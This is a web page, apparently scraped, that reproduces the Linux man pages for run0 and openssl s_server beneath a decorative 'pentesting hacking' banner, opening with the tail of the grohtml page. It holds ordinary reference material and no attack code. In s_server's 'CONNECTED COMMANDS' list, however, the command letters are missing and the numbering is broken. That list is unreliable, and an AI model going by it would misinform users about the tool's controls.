*/usr/share/groff/1.23.0/font/devhtml/*F
describes the font known as F on device html.

/usr/share/groff/1.23.0/tmac/html.tmac
defines font mappings, special characters, and colors for use with the html output device. It is automatically loaded by troffrc when either of the html or xhtml output devices is selected.

/usr/share/groff/1.23.0/tmac/html-end.tmac
finalizes setup of the html output device. It is automatically loaded by troffrc-end when either of the html or xhtml output devices is selected.

grohtml uses temporary files. See

for details about where such files are created.

Bugs

grohtml is still beta code.

grohtml does not truly support hyphenation, but you can fool it into hyphenating long input lines, which can appear in HTML output with a hyphenated word followed by a space but no line break.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

350 - Linux cli command run0

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command run0 and provides detailed information about the command run0, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the run0.

NAME 🖥️ run0 🖥️

Elevate privileges

SYNOPSIS

run0 [OPTIONS…] [COMMAND…]

DESCRIPTION

run0 may be used to temporarily and interactively acquire elevated or different privileges. It serves a similar purpose as sudo(8), but operates differently in a couple of key areas:

·

No execution or security context credentials are inherited from the caller into the invoked commands, as they are invoked from a fresh, isolated service forked off by the service manager.

·

Authentication takes place via polkit[1], thus isolating the authentication prompt from the terminal (if possible).

·

An independent pseudo-tty is allocated for the invoked command, detaching its lifecycle and isolating it for security.

·

No SetUID/SetGID file access bit functionality is used for the implementation.

Altogether this should provide a safer and more robust alternative to the sudo mechanism, in particular in OS environments where SetUID/SetGID support is not available (for example by setting the NoNewPrivileges= variable in systemd-system.conf(5)).

Any session invoked via run0 will run through the “systemd-run0” PAM stack.

Note that run0 is implemented as an alternative multi-call invocation of systemd-run(1).

OPTIONS

The following options are understood:

–no-ask-password

Do not query the user for authentication for privileged operations.

Added in version 256.

–unit=

Use this unit name instead of an automatically generated one.

Added in version 256.

–property=

Sets a property on the service unit that is created. This option takes an assignment in the same format as systemctl(1)s set-property command.

Added in version 256.

–description=

Provide a description for the service unit that is invoked. If not specified, the command itself will be used as a description. See Description= in systemd.unit(5).

Added in version 256.

–slice=

Make the new .service unit part of the specified slice, instead of user.slice.

Added in version 256.

–slice-inherit

Make the new .service unit part of the slice the run0 itself has been invoked in. This option may be combined with –slice=, in which case the slice specified via –slice= is placed within the slice the run0 command is invoked in.

Example: consider run0 being invoked in the slice foo.slice, and the –slice= argument is bar. The unit will then be placed under foo-bar.slice.

Added in version 256.

–user=, -u, –group=, -g

Switches to the specified user/group instead of root.

Added in version 256.

–nice=

Runs the invoked session with the specified nice level.

Added in version 256.

–chdir=, -D

Runs the invoked session with the specified working directory. If not specified defaults to the clients current working directory if switching to the root user, or the target users home directory otherwise.

Added in version 256.

–setenv=NAME[=VALUE]

Runs the invoked session with the specified environment variable set. This parameter may be used more than once to set multiple variables. When “=” and VALUE are omitted, the value of the variable with the same name in the invoking environment will be used.

Added in version 256.

**–background=**COLOR

Change the terminal background color to the specified ANSI color as long as the session lasts. If not specified, the background will be tinted in a reddish tone when operating as root, and in a yellowish tone when operating under another UID, as reminder of the changed privileges. The color specified should be an ANSI X3.64 SGR background color, i.e. strings such as “40”, “41”, …, “47”, “48;2;…”, “48;5;…”. See ANSI Escape Code (Wikipedia)[2] for details. Set to an empty string to disable.

Example: “–background=44” for a blue background.

Added in version 256.

–machine=

Execute operation on a local container. Specify a container name to connect to.

Added in version 256.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

All command line arguments after the first non-option argument become part of the command line of the launched process. If no command line is specified an interactive shell is invoked. The shell to invoke may be controlled via –setenv=SHELL=… and currently defaults to the originating users shell (i.e. not the target users!) if operating locally, or /bin/sh when operating with –machine=.

EXIT STATUS

On success, 0 is returned. If run0 failed to start the session or the specified command fails, a non-zero return value will be returned.

ENVIRONMENT VARIABLES

As with systemd-run, the session will inherit the system environment from the service manager. In addition, the following environment variables will be set:

$TERM

Copied from the $TERM of the caller. Can be overridden with –setenv=

Added in version 256.

$SUDO_USER

Set to the username of the originating user.

Added in version 256.

$SUDO_UID

Set to the numeric UNIX user id of the originating user.

Added in version 256.

$SUDO_GID

Set to the primary numeric UNIX group id of the originating session.

Added in version 256.

SEE ALSO

systemd(1), systemd-run(1), sudo(8), machinectl(1)

NOTES

polkit

https://www.freedesktop.org/wiki/Software/polkit

ANSI Escape Code (Wikipedia)

https://en.wikipedia.org/wiki/ANSI_escape_code#SGR_(Select_Graphic_Rendition)_parameters

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

351 - Linux cli command openssl-s_serverssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-s_serverssl and provides detailed information about the command openssl-s_serverssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-s_serverssl.

NAME 🖥️ openssl-s_serverssl 🖥️

s_server - SSL/TLS server program

SYNOPSIS

openssl s_server [-help] [-port +int] [-accept val] [-unix val] [-4] [-6] [-unlink] [-context val] [-verify int] [-Verify int] [-cert infile] [-cert2 infile] [-certform DER|PEM|P12] [-cert_chain infile] [-build_chain] [-serverinfo val] [-key filename|uri] [-key2 filename|uri] [-keyform DER|PEM|P12|ENGINE] [-pass val] [-dcert infile] [-dcertform DER|PEM|P12] [-dcert_chain infile] [-dkey filename|uri] [-dkeyform DER|PEM|P12|ENGINE] [-dpass val] [-nbio_test] [-crlf] [-debug] [-msg] [-msgfile outfile] [-state] [-nocert] [-quiet] [-no_resume_ephemeral] [-www] [-WWW] [-http_server_binmode] [-no_ca_names] [-ignore_unexpected_eof] [-servername] [-servername_fatal] [-tlsextdebug] [-HTTP] [-id_prefix val] [-keymatexport val] [-keymatexportlen +int] [-CRL infile] [-CRLform DER|PEM] [-crl_download] [-chainCAfile infile] [-chainCApath dir] [-chainCAstore uri] [-verifyCAfile infile] [-verifyCApath dir] [-verifyCAstore uri] [-no_cache] [-ext_cache] [-verify_return_error] [-verify_quiet] [-ign_eof] [-no_ign_eof] [-no_etm] [-no_ems] [-status] [-status_verbose] [-status_timeout int] [-proxy [http[s]://][userinfo@]host[:port][/path]] [-no_proxy addresses] [-status_url val] [-status_file infile] [-ssl_config val] [-trace] [-security_debug] [-security_debug_verbose] [-brief] [-rev] [-async] [-max_send_frag +int] [-split_send_frag +int] [-max_pipelines +int] [-naccept +int] [-read_buf +int] [-bugs] [-no_tx_cert_comp] [-no_rx_cert_comp] [-no_comp] [-comp] [-no_ticket] [-serverpref] [-legacy_renegotiation] [-no_renegotiation] [-no_resumption_on_reneg] [-allow_no_dhe_kex] [-prioritize_chacha] [-strict] [-sigalgs val] [-client_sigalgs val] [-groups val] [-curves val] [-named_curve val] [-cipher val] [-ciphersuites val] [-dhparam infile] [-record_padding val] [-debug_broken_protocol] [-nbio] [-psk_identity val] [-psk_hint val] [-psk val] [-psk_session file] [-srpvfile infile] [-srpuserseed val] [-timeout] [-mtu +int] [-listen] [-sctp] [-sctp_label_bug] [-use_srtp val] [-no_dhe] [-nextprotoneg val] [-alpn val] [-ktls] [-sendfile] [-zerocopy_sendfile] [-keylogfile outfile] [-recv_max_early_data int] [-max_early_data int] [-early_data] [-stateless] [-anti_replay] [-no_anti_replay] [-num_tickets] [-tfo] [-cert_comp] [-nameopt option] [-no_ssl3] [-no_tls1] [-no_tls1_1] [-no_tls1_2] [-no_tls1_3] [-ssl3] [-tls1] [-tls1_1] [-tls1_2] [-tls1_3] [-dtls] [-dtls1] [-dtls1_2] [-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks] [-bugs] [-no_comp] [-comp] [-no_ticket] [-serverpref] [-client_renegotiation] [-legacy_renegotiation] [-no_renegotiation] [-no_resumption_on_reneg] [-legacy_server_connect] [-no_legacy_server_connect] [-no_etm] [-allow_no_dhe_kex] [-prioritize_chacha] [-strict] [-sigalgs algs] [-client_sigalgs algs] [-groups groups] [-curves curves] [-named_curve curve] [-cipher ciphers] [-ciphersuites 1.3ciphers] [-min_protocol minprot] [-max_protocol maxprot] [-record_padding padding] [-debug_broken_protocol] [-no_middlebox] [-xkey infile] [-xcert file] [-xchain file] [-xchain_build file] [-xcertform DER|PEM]> [-xkeyform DER|PEM]> [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [-enable_server_rpk] [-enable_client_rpk]

DESCRIPTION

This command implements a generic SSL/TLS server which listens for connections on a given port using SSL/TLS.

OPTIONS

In addition to the options below, this command also supports the common and server only options documented “Supported Command Line Commands” in SSL_CONF_cmd (3)

-help
Print out a usage message.

-port +int
The TCP port to listen on for connections. If not specified 4433 is used.

-accept val
The optional TCP host and port to listen on for connections. If not specified, *:4433 is used.

-unix val
Unix domain socket to accept on.

-4
Use IPv4 only.

-6
Use IPv6 only.

-unlink
For -unix, unlink any existing socket first.

-context val
Sets the SSL context id. It can be given any string value. If this option is not present a default value will be used.

-verify int, -Verify int
The verify depth to use. This specifies the maximum length of the client certificate chain and makes the server request a certificate from the client. With the -verify option a certificate is requested but the client does not have to send one, with the -Verify option the client must supply a certificate or an error occurs. If the cipher suite cannot request a client certificate (for example an anonymous cipher suite or PSK) this option has no effect.

-cert infile
The certificate to use, most servers cipher suites require the use of a certificate and some require a certificate with a certain public key type: for example the DSS cipher suites require a certificate containing a DSS (DSA) key. If not specified then the filename server.pem will be used.

-cert2 infile
The certificate file to use for servername; default is server2.pem.

-certform DER|PEM|P12
The server certificate file format; unspecified by default. See openssl-format-options (1) for details.

-cert_chain
A file or URI of untrusted certificates to use when attempting to build the certificate chain related to the certificate specified via the -cert option. The input can be in PEM, DER, or PKCS#12 format.

-build_chain
Specify whether the application should build the server certificate chain to be provided to the client.

-serverinfo val
A file containing one or more blocks of PEM data. Each PEM block must encode a TLS ServerHello extension (2 bytes type, 2 bytes length, followed by “length” bytes of extension data). If the client sends an empty TLS ClientHello extension matching the type, the corresponding ServerHello extension will be returned.

-key filename|uri
The private key to use. If not specified then the certificate file will be used.

-key2 filename|uri
The private Key file to use for servername if not given via -cert2.

-keyform DER|PEM|P12|ENGINE
The key format; unspecified by default. See openssl-format-options (1) for details.

-pass val
The private key and certificate file password source. For more information about the format of val, see openssl-passphrase-options (1).

-dcert infile, -dkey filename|uri
Specify an additional certificate and private key, these behave in the same manner as the -cert and -key options except there is no default if they are not specified (no additional certificate and key is used). As noted above some cipher suites require a certificate containing a key of a certain type. Some cipher suites need a certificate carrying an RSA key and some a DSS (DSA) key. By using RSA and DSS certificates and keys a server can support clients which only support RSA or DSS cipher suites by using an appropriate certificate.

-dcert_chain
A file or URI of untrusted certificates to use when attempting to build the server certificate chain when a certificate specified via the -dcert option is in use. The input can be in PEM, DER, or PKCS#12 format.

-dcertform DER|PEM|P12
The format of the additional certificate file; unspecified by default. See openssl-format-options (1) for details.

-dkeyform DER|PEM|P12|ENGINE
The format of the additional private key; unspecified by default. See openssl-format-options (1) for details.

-dpass val
The passphrase for the additional private key and certificate. For more information about the format of val, see openssl-passphrase-options (1).

-nbio_test
Tests non blocking I/O.

-crlf
This option translated a line feed from the terminal into CR+LF.

-debug
Print extensive debugging information including a hex dump of all traffic.

-security_debug
Print output from SSL/TLS security framework.

-security_debug_verbose
Print more output from SSL/TLS security framework

-msg
Show all protocol messages with hex dump.

-msgfile outfile
File to send output of -msg or -trace to, default standard output.

-state
Prints the SSL session states.

-CRL infile
The CRL file to use.

-CRLform DER|PEM
The CRL file format; unspecified by default. See openssl-format-options (1) for details.

-crl_download
Download CRLs from distribution points given in CDP extensions of certificates

-verifyCAfile filename
A file in PEM format CA containing trusted certificates to use for verifying client certificates.

-verifyCApath dir
A directory containing trusted certificates to use for verifying client certificates. This directory must be in “hash format”, see openssl-verify (1) for more information.

-verifyCAstore uri
The URI of a store containing trusted certificates to use for verifying client certificates.

-chainCAfile file
A file in PEM format containing trusted certificates to use when attempting to build the server certificate chain.

-chainCApath dir
A directory containing trusted certificates to use for building the server certificate chain provided to the client. This directory must be in “hash format”, see openssl-verify (1) for more information.

-chainCAstore uri
The URI of a store containing trusted certificates to use for building the server certificate chain provided to the client. The URI may indicate a single certificate, as well as a collection of them. With URIs in the file: scheme, this acts as -chainCAfile or -chainCApath, depending on if the URI indicates a directory or a single file. See ossl_store-file (7) for more information on the file: scheme.

-nocert
If this option is set then no certificate is used. This restricts the cipher suites available to the anonymous ones (currently just anonymous DH).

-quiet
Inhibit printing of session and certificate information.

-no_resume_ephemeral
Disable caching and tickets if ephemeral (EC)DH is used.

-tlsextdebug
Print a hex dump of any TLS extensions received from the server.

-www
Sends a status message back to the client when it connects. This includes information about the ciphers used and various session parameters. The output is in HTML format so this option can be used with a web browser. The special URL /renegcert turns on client cert validation, and /reneg tells the server to request renegotiation. The -early_data option cannot be used with this option.

-WWW, -HTTP
Emulates a simple web server. Pages will be resolved relative to the current directory, for example if the URL https://myhost/page.html is requested the file ./page.html will be sent. If the -HTTP flag is used, the files are sent directly, and should contain any HTTP response headers (including status response line). If the -WWW option is used, the response headers are generated by the server, and the file extension is examined to determine the Content-Type header. Extensions of html, htm, and php are text/html and all others are text/plain. In addition, the special URL /stats will return status information like the -www option. Neither of these options can be used in conjunction with -early_data.

-http_server_binmode
When acting as web-server (using option -WWW or -HTTP) open files requested by the client in binary mode.

-no_ca_names
Disable TLS Extension CA Names. You may want to disable it for security reasons or for compatibility with some Windows TLS implementations crashing when this extension is larger than 1024 bytes.

-ignore_unexpected_eof
Some TLS implementations do not send the mandatory close_notify alert on shutdown. If the application tries to wait for the close_notify alert but the peer closes the connection without sending it, an error is generated. When this option is enabled the peer does not need to send the close_notify alert and a closed connection will be treated as if the close_notify alert was received. For more information on shutting down a connection, see SSL_shutdown (3).

-servername
Servername for HostName TLS extension.

-servername_fatal
On servername mismatch send fatal alert (default: warning alert).

-id_prefix val
Generate SSL/TLS session IDs prefixed by val. This is mostly useful for testing any SSL/TLS code (e.g. proxies) that wish to deal with multiple servers, when each of which might be generating a unique range of session IDs (e.g. with a certain prefix).

-keymatexport
Export keying material using label.

-keymatexportlen
Export the given number of bytes of keying material; default 20.

-no_cache
Disable session cache.

-ext_cache.
Disable internal cache, set up and use external cache.

-verify_return_error
Verification errors normally just print a message but allow the connection to continue, for debugging purposes. If this option is used, then verification errors close the connection.

-verify_quiet
No verify output except verify errors.

-ign_eof
Ignore input EOF (default: when -quiet).

-no_ign_eof
Do not ignore input EOF.

-no_etm
Disable Encrypt-then-MAC negotiation.

-no_ems
Disable Extended master secret negotiation.

-status
Enables certificate status request support (aka OCSP stapling).

-status_verbose
Enables certificate status request support (aka OCSP stapling) and gives a verbose printout of the OCSP response.

-status_timeout int
Sets the timeout for OCSP response to int seconds.

-proxy [http[s]://][userinfo@]host[:port][/path]
The HTTP(S) proxy server to use for reaching the OCSP server unless -no_proxy applies, see below. The proxy port defaults to 80 or 443 if the scheme is https; apart from that the optional http:// or https:// prefix is ignored, as well as any userinfo and path components. Defaults to the environment variable http_proxy if set, else HTTP_PROXY in case no TLS is used, otherwise https_proxy if set, else HTTPS_PROXY.

-no_proxy addresses
List of IP addresses and/or DNS names of servers not to use an HTTP(S) proxy for, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Default is from the environment variable no_proxy if set, else NO_PROXY.

-status_url val
Sets a fallback responder URL to use if no responder URL is present in the server certificate. Without this option an error is returned if the server certificate does not contain a responder address. The optional userinfo and fragment URL components are ignored. Any given query component is handled as part of the path component.

-status_file infile
Overrides any OCSP responder URLs from the certificate and always provides the OCSP Response stored in the file. The file must be in DER format.

-ssl_config val
Configure SSL_CTX using the given configuration value.

-trace
Show verbose trace output of protocol messages.

-brief
Provide a brief summary of connection parameters instead of the normal verbose output.

-rev
Simple echo server that sends back received text reversed. Also sets -brief. Cannot be used in conjunction with -early_data.

-async
Switch on asynchronous mode. Cryptographic operations will be performed asynchronously. This will only have an effect if an asynchronous capable engine is also used via the -engine option. For test purposes the dummy async engine (dasync) can be used (if available).

-max_send_frag +int
The maximum size of data fragment to send. See SSL_CTX_set_max_send_fragment (3) for further information.

-split_send_frag +int
The size used to split data for encrypt pipelines. If more data is written in one go than this value then it will be split into multiple pipelines, up to the maximum number of pipelines defined by max_pipelines. This only has an effect if a suitable cipher suite has been negotiated, an engine that supports pipelining has been loaded, and max_pipelines is greater than 1. See SSL_CTX_set_split_send_fragment (3) for further information.

-max_pipelines +int
The maximum number of encrypt/decrypt pipelines to be used. This will only have an effect if an engine has been loaded that supports pipelining (e.g. the dasync engine) and a suitable cipher suite has been negotiated. The default value is 1. See SSL_CTX_set_max_pipelines (3) for further information.

-naccept +int
The server will exit after receiving the specified number of connections, default unlimited.

-read_buf +int
The default read buffer size to be used for connections. This will only have an effect if the buffer size is larger than the size that would otherwise be used and pipelining is in use (see SSL_CTX_set_default_read_buffer_len (3) for further information).

-bugs
There are several known bugs in SSL and TLS implementations. Adding this option enables various workarounds.

-no_tx_cert_comp
Disables support for sending TLSv1.3 compressed certificates.

-no_rx_cert_comp
Disables support for receiving TLSv1.3 compressed certificates.

-no_comp
Disable negotiation of TLS compression. TLS compression is not recommended and is off by default as of OpenSSL 1.1.0.

-comp
Enables support for SSL/TLS compression. This option was introduced in OpenSSL 1.1.0. TLS compression is not recommended and is off by default as of OpenSSL 1.1.0. TLS compression can only be used in security level 1 or lower. From OpenSSL 3.2.0 and above the default security level is 2, so this option will have no effect without also changing the security level. Use the -cipher option to change the security level. See openssl-ciphers (1) for more information.

-no_ticket
Disable RFC4507bis session ticket support. This option has no effect if TLSv1.3 is negotiated. See -num_tickets.

-num_tickets
Control the number of tickets that will be sent to the client after a full handshake in TLSv1.3. The default number of tickets is 2. This option does not affect the number of tickets sent after a resumption handshake.

-serverpref
Use the server’s cipher preferences, rather than the client’s preferences.

-prioritize_chacha
Prioritize ChaCha ciphers when preferred by clients. Requires -serverpref.

-no_resumption_on_reneg
Set the SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION option.

-client_sigalgs val
Signature algorithms to support for client certificate authentication (colon-separated list).

-named_curve val
Specifies the elliptic curve to use. NOTE: this is single curve, not a list. For a list of all possible curves, use: $ openssl ecparam -list_curves

-cipher val
This allows the list of TLSv1.2 and below ciphersuites used by the server to be modified. This list is combined with any TLSv1.3 ciphersuites that have been configured. When the client sends a list of supported ciphers the first client cipher also included in the server list is used. Because the client specifies the preference order, the order of the server cipherlist is irrelevant. See openssl-ciphers (1) for more information.

-ciphersuites val
This allows the list of TLSv1.3 ciphersuites used by the server to be modified. This list is combined with any TLSv1.2 and below ciphersuites that have been configured. When the client sends a list of supported ciphers the first client cipher also included in the server list is used. Because the client specifies the preference order, the order of the server cipherlist is irrelevant. See openssl-ciphers (1) command for more information. The format for this list is a simple colon (":") separated list of TLSv1.3 ciphersuite names.

-dhparam infile
The DH parameter file to use. The ephemeral DH cipher suites generate keys using a set of DH parameters. If not specified then an attempt is made to load the parameters from the server certificate file. If this fails then a static set of parameters hard coded into this command will be used.

-nbio
Turns on non blocking I/O.

-timeout
Enable timeouts.

-mtu
Set link-layer MTU.

-psk_identity val
Expect the client to send PSK identity val when using a PSK cipher suite, and warn if they do not. By default, the expected PSK identity is the string “Client_identity”.

-psk_hint val
Use the PSK identity hint val when using a PSK cipher suite.

-psk val
Use the PSK key val when using a PSK cipher suite. The key is given as a hexadecimal number without leading 0x, for example -psk 1a2b3c4d. This option must be provided in order to use a PSK cipher.

-psk_session file
Use the pem encoded SSL_SESSION data stored in file as the basis of a PSK. Note that this will only work if TLSv1.3 is negotiated.

-srpvfile
The verifier file for SRP. This option is deprecated.

-srpuserseed
A seed string for a default user salt. This option is deprecated.

-listen
This option can only be used in conjunction with one of the DTLS options above. With this option, this command will listen on a UDP port for incoming connections. Any ClientHellos that arrive will be checked to see if they have a cookie in them or not. Any without a cookie will be responded to with a HelloVerifyRequest. If a ClientHello with a cookie is received then this command will connect to that peer and complete the handshake.

-sctp
Use SCTP for the transport protocol instead of UDP in DTLS. Must be used in conjunction with -dtls, -dtls1 or -dtls1_2. This option is only available where OpenSSL has support for SCTP enabled.

-sctp_label_bug
Use the incorrect behaviour of older OpenSSL implementations when computing endpoint-pair shared secrets for DTLS/SCTP. This allows communication with older broken implementations but breaks interoperability with correct implementations. Must be used in conjunction with -sctp. This option is only available where OpenSSL has support for SCTP enabled.

-use_srtp
Offer SRTP key management with a colon-separated profile list.

-no_dhe
If this option is set then no DH parameters will be loaded effectively disabling the ephemeral DH cipher suites.

-alpn val, -nextprotoneg val
These flags enable the Application-Layer Protocol Negotiation or Next Protocol Negotiation (NPN) extension, respectively. ALPN is the IETF standard and replaces NPN. The val list is a comma-separated list of supported protocol names. The list should contain the most desirable protocols first. Protocol names are printable ASCII strings, for example “http/1.1” or “spdy/3”. The flag -nextprotoneg cannot be specified if -tls1_3 is used.

-ktls
Enable Kernel TLS for sending and receiving. This option was introduced in OpenSSL 3.2.0. Kernel TLS is off by default as of OpenSSL 3.2.0.

-sendfile
If this option is set and KTLS is enabled, SSL_sendfile() will be used instead of BIO_write() to send the HTTP response requested by a client. This option is only valid when -ktls along with -WWW or -HTTP are specified.

-zerocopy_sendfile
If this option is set, SSL_sendfile() will use the zerocopy TX mode, which gives a performance boost when used with KTLS hardware offload. Note that invalid TLS records might be transmitted if the file is changed while being sent. This option depends on -sendfile; when used alone, -sendfile is implied, and a warning is shown. Note that KTLS sendfile on FreeBSD always runs in the zerocopy mode.

-keylogfile outfile
Appends TLS secrets to the specified keylog file such that external programs (like Wireshark) can decrypt TLS connections.

-max_early_data int
Change the default maximum early data bytes that are specified for new sessions and any incoming early data (when used in conjunction with the -early_data flag). The default value is approximately 16k. The argument must be an integer greater than or equal to 0.

-recv_max_early_data int
Specify the hard limit on the maximum number of early data bytes that will be accepted.

-early_data
Accept early data where possible. Cannot be used in conjunction with -www, -WWW, -HTTP or -rev.

-stateless
Require TLSv1.3 cookies.

-anti_replay, -no_anti_replay
Switches replay protection on or off, respectively. Replay protection is on by default unless overridden by a configuration file. When it is on, OpenSSL will automatically detect if a session ticket has been used more than once, TLSv1.3 has been negotiated, and early data is enabled on the server. A full handshake is forced if a session ticket is used a second or subsequent time. Any early data that was sent will be rejected.

-tfo
Enable acceptance of TCP Fast Open (RFC7413) connections.

-cert_comp
Pre-compresses certificates (RFC8879) that will be sent during the handshake.

-nameopt option
This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-no_ssl3, -no_tls1, -no_tls1_1, -no_tls1_2, -no_tls1_3, -ssl3, -tls1, -tls1_1, -tls1_2, -tls1_3
See “TLS Version Options” in openssl (1).

-dtls, -dtls1, -dtls1_2
These specify the use of DTLS instead of TLS. See “TLS Version Options” in openssl (1).

-bugs, -comp, -no_comp, -no_ticket, -serverpref, -client_renegotiation, -legacy_renegotiation, -no_renegotiation, -no_resumption_on_reneg, -legacy_server_connect, -no_legacy_server_connect, -no_etm -allow_no_dhe_kex, -prioritize_chacha, -strict, -sigalgs algs, -client_sigalgs algs, -groups groups, -curves curves, -named_curve curve, -cipher ciphers, -ciphersuites 1.3ciphers, -min_protocol minprot, -max_protocol maxprot, -record_padding padding, -debug_broken_protocol, -no_middlebox
See “SUPPORTED COMMAND LINE COMMANDS” in SSL_CONF_cmd (3) for details.

-xkey infile, -xcert file, -xchain file, -xchain_build file, -xcertform DER|PEM, -xkeyform DER|PEM
Set extended certificate verification options. See “Extended Verification Options” in openssl-verification-options (1) for details.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details. If the server requests a client certificate, then verification errors are displayed, for debugging, but the command will proceed unless the -verify_return_error option is used.

-enable_server_rpk
Enable support for sending raw public keys (RFC7250) to the client. A raw public key will be sent by the server, if solicited by the client, provided a suitable key and public certificate pair is configured. Clients that don’t support raw public keys or prefer to use X.509 certificates can still elect to receive X.509 certificates as usual. Raw public keys are extracted from the configured certificate/private key.

-enable_client_rpk
Enable support for receiving raw public keys (RFC7250) from the client. Use of X.509 certificates by the client becomes optional, and clients that support raw public keys may elect to use them. Clients that don’t support raw public keys or prefer to use X.509 certificates can still elect to send X.509 certificates as usual. Raw public keys are extracted from the configured certificate/private key.

CONNECTED COMMANDS

If a connection request is established with an SSL client and neither the -www nor the -WWW option has been used then normally any data received from the client is displayed and any key presses will be sent to the client.

Certain commands are also recognized which perform special operations. These commands are a letter which must appear at the start of a line. They are listed below.

  1. End the current SSL connection but still accept new connections.
  1. End the current SSL connection and exit.
  1. Renegotiate the SSL session (TLSv1.2 and below only).
  1. Renegotiate the SSL session and request a client certificate (TLSv1.2 and below only).

  2. Send some plain text down the underlying TCP connection: this should cause the client to disconnect due to a protocol violation.

  3. Print out some session cache status information.

  1. Send a key update message to the client (TLSv1.3 only)
  1. Send a key update message to the client and request one back (TLSv1.3 only)
  1. Send a certificate request to the client (TLSv1.3 only)

NOTES

This command can be used to debug SSL clients. To accept connections from a web browser the command:

openssl s_server -accept 443 -www

can be used for example.

Although specifying an empty list of CAs when requesting a client certificate is strictly speaking a protocol violation, some SSL clients interpret this to mean any CA is acceptable. This is useful for debugging purposes.

The session parameters can printed out using the openssl-sess_id (1) command.

BUGS

Because this program has a lot of options and also because some of the techniques used are rather old, the C source for this command is rather hard to read and not a model of how things should be done. A typical SSL server program would be much simpler.

The output of common ciphers is wrong: it just gives the list of ciphers that OpenSSL recognizes and the client supports.

There should be a way for this command to print out details of any unknown cipher suites a client says it supports.

SEE ALSO

openssl (1), openssl-sess_id (1), openssl-s_client (1), openssl-ciphers (1), SSL_CONF_cmd (3), SSL_CTX_set_max_send_fragment (3), SSL_CTX_set_split_send_fragment (3), SSL_CTX_set_max_pipelines (3), ossl_store-file (7)

HISTORY

The -no_alt_chains option was added in OpenSSL 1.1.0.

The -allow-no-dhe-kex and -prioritize_chacha options were added in OpenSSL 1.1.1.

The -srpvfile, -srpuserseed, and -engine option were deprecated in OpenSSL 3.0.

The -enable_client_rpk, -enable_server_rpk, -no_rx_cert_comp, -no_tx_cert_comp, and -tfo options were added in OpenSSL 3.2.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

